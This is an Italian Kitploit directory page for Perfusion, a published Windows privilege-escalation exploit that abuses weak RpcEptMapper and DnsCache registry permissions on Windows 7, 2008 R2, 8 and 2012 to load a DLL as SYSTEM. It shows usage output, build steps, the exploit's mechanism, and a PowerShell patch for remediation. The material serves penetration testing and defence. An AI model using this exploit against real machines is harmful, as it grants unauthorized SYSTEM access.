Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Perfusion — Exploit per la vulnerabilità dei permessi della chiave di registro RpcEptMapper (Windows 7 / 2088R2 / 8 / 2012) | Kitploit
Strumenti/GitHubGitHub/itm4n/perfusion
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPost-ExploitPenetration TestingArchived
GitHubitm4n/perfusion

Perfusion

Exploit per la vulnerabilità dei permessi della chiave di registro RpcEptMapper (Windows 7 / 2088R2 / 8 / 2012)

Vedi Repository
427755 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

Perfusion

Su Windows 7, Windows Server 2008R2, Windows 8 e Windows Server 2012, la chiave di registro dei servizi RpcEptMapper e DnsCache (solo 7/2008R2) è configurata con permessi deboli. Qualsiasi utente locale può creare una sottochiave Performance e quindi sfruttare i Windows Performance Counters per caricare una DLL arbitraria nel contesto del servizio WMI come NT AUTHORITY\SYSTEM (da qui il nome dello strumento).

Questo strumento è pensato per aiutare i consulenti di sicurezza durante i test di penetrazione. Questo software è fornito così com'è, e probabilmente non fornirò alcun supporto. Tuttavia, l'ho testato a fondo su tre diverse macchine virtuali, quindi non dovrebbero esserci problemi significativi.

Per maggiori informazioni: https://itm4n.github.io/windows-registry-rpceptmapper-eop/

ℹ️ 2021-04-21 Aggiornamento

Secondo 0patch, questa vulnerabilità è stata parzialmente corretta con l'aggiornamento di Windows di aprile 2021 (ESU). Ciò significa che le macchine con una versione aggiornata di Windows 8 / Server 2012 non dovrebbero più essere sfruttabili. Tuttavia, Windows 7 / Server 2008 R2 rimane vulnerabile. Basta sfruttare la chiave di registro Dnscache invece di RpcEptMapper. Ho aggiornato il PoC in modo da poterla specificare manualmente con l'opzione -k.

Problemi noti

⚠️ LEGGI QUESTO PRIMA DI USARE QUESTO STRUMENTO ⚠️

Durante la fase di sviluppo di questo strumento, ho osservato due comportamenti diversi:

  1. La DLL viene caricata direttamente dal processo principale del servizio WMI come NT AUTHORITY\SYSTEM, in questo caso l'exploit funziona perfettamente.
  2. La DLL viene caricata da un sottoprocesso del servizio WMI che viene eseguito come NT AUTHORITY\LOCAL SERVICE. In questo caso, il servizio carica la DLL mentre impersona il client. Si scopre che un'escalation dei privilegi è ancora possibile su Windows 7 (a causa di un'altra vulnerabilità), ma il costo di implementazione non è valso lo sforzo.

Non sono in grado di spiegare questa differenza perché il mio codice di trigger è sempre lo stesso. Ad ogni modo, in entrambi i casi, lascia che l'exploit faccia il suo lavoro in modo che possa ripulire tutto quando ha finito. Se l'exploit fallisce, c'è comunque la possibilità che funzioni pochi minuti o ore dopo.

✔️ Ecco cosa dovresti vedere quando l'exploit funziona:

root@kitploit:~
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_2900_368_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[+] Exploit completed. Got a SYSTEM token! :)
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.
Microsoft Windows [Version 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.

C:\Temp>whoami
nt authority\system

C:\Temp>

❌ Ecco cosa dovresti vedere quando l'exploit fallisce:

root@kitploit:~
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_636_3000_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[-] Exploit completed but no SYSTEM Token. :/
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.

C:\Temp>

Istruzioni di compilazione

Questa soluzione è composta da due progetti che devono essere compilati in un ordine specifico. Tutto è preconfigurato, quindi devi solo seguire queste semplici istruzioni:

  1. Apri la soluzione con Visual Studio 2019
  2. Seleziona Release / x64
  3. Build > Build Solution

Utilizzo

Puoi controllare il messaggio di aiuto usando l'opzione -h.

root@kitploit:~
C:\TOOLS>Perfusion.exe -h
 _____         ___         _
|  _  |___ ___|  _|_ _ ___|_|___ ___
|   __| -_|  _|  _| | |_ -| | . |   |  version 0.2
|__|  |___|_| |_| |___|___|_|___|_|_|  by @itm4n

Description:
  Exploit tool for the RpcEptMapper registry key vulnerability.

Options:
  -c <CMD>  Command - Execute the specified command line
  -i        Interactive - Interact with the process (default: non-interactive)
  -d        Desktop - Spawn a new process on your desktop (default: hidden)
  -k <KEY>  Key - Either 'RpcEptMapper' or 'Dnscache' (default: 'RpcEptMapper')
  -h        Help - That's me :)

Rimedio / Patch

Le seguenti versioni di Windows sono vulnerabili:

Versione di WindowsChiavi di registro vulnerabili
Windows 7RpcEptMapper, DnsCache
Windows Server 2008R2RpcEptMapper, DnsCache
Windows 8RpcEptMapper
Windows Server 2012RpcEptMapper

Per quanto ne so, questa vulnerabilità non verrà corretta da Microsoft, per qualche motivo. La soluzione migliore è ancora quella di aggiornare a Windows 10 / Server 2019 ma se non è un'opzione a breve termine, puoi comunque correggere questo problema rimuovendo il permesso CreateSubKey sia per NT AUTHORITY\Authenticated Users che per BUILTIN\Users sulle seguenti chiavi di registro:

  • HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
  • HKLM\SYSTEM\CurrentControlSet\Services\DnsCache

Ho creato una patch per questa vulnerabilità sotto forma di script PowerShell: RegistryPatch.ps1. Questo script rimuove il diritto CreateSubKey sulle due chiavi di registro sopra menzionate per le seguenti identità: NT AUTHORITY\INTERACTIVE, BUILTIN\Users e/o BUILTIN\Authenticated Users.

  • Controlla se una macchina è vulnerabile: (Windows Server 2012 qui)
root@kitploit:~
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Verbose
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
True
  • Applica la patch: (Windows Server 2008 R2 qui)
root@kitploit:~
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Patch -Verbose 
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: The new ACL was applied
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\INTERACTIVE" has "QueryValues, CreateSubKey, EnumerateSubKeys, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "CreateSubKey, ReadKey" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: The new ACL was applied
True

Come funziona questo exploit?

Di seguito sono riportati i passaggi dell'exploit implementati in questo strumento:

  1. Viene creato un processo in background in stato sospeso (utilizzando la riga di comando specificata).
  2. La DLL payload incorporata viene scritta nella cartella Temp dell'utente corrente.
  3. Viene creata una chiave Performance sotto HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper e viene popolata con i valori appropriati, incluso il percorso completo della DLL creata al punto 2.
  4. Viene creata e invocata la classe WMI Win32_Perf per attivare la raccolta dei Windows Performance Counters.
  5. La DLL viene caricata dal servizio WMI sia come NT AUTHORITY\SYSTEM che come NT AUTHORITY\LOCAL SERVICE.
  6. Se la DLL viene caricata da NT AUTHORITY\SYSTEM, il suo token viene duplicato e applicato al processo creato inizialmente dall'utente al punto 1.
  7. Tutto viene pulito e il thread principale del processo sospeso viene ripreso.
Scarica lo strumento